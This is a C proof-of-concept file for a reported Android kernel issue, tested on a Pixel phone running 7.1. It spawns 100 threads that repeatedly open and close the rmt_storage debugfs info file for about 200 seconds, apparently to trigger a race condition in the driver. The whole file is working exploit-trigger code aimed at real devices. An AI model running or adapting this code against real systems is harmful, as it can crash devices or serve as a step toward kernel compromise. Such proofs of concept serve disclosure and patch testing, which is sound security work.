/*
 * https://code.google.com/p/android/issues/detail?id=230946
 * The poc was tested in pixel, 
 * google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com, 20161224
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <pthread.h>

#define DEBUG                                               
#ifdef DEBUG                                             
#define LOG(fmt, ...) do { \
	printf("%s:%d: "fmt "\n", __FUNCTION__, \
			__LINE__, ##__VA_ARGS__); \
} while (0) 
#else
#define LOG(fmt, ...) 
#endif

char *infopath = "/sys/kernel/debug/rmt_storage/info";

void ThreadFun(void) {
	int fd = -1;
	while(1) { 
		fd = open(infopath, O_RDWR);
		if(fd > 0) {
			close(fd);
			fd = -1;
		} 
		sleep(0.1);
	}
}

#define TC 100
void trigger()
{
	int i, ret;
	pthread_t tids[TC];
	for(i = 0; i < TC; i++)
	{
		ret = pthread_create((pthread_t *) &tids[i], NULL, (void *) ThreadFun, NULL);
	}

	i = 200;
	do {
		sleep(1);
	} while(i-- > 0);

	for(i = 0; i < TC; i++)
		pthread_join(tids[i], NULL);
}

	int
main(int argc, char *argv[])
{
	trigger();
	return 0;
}
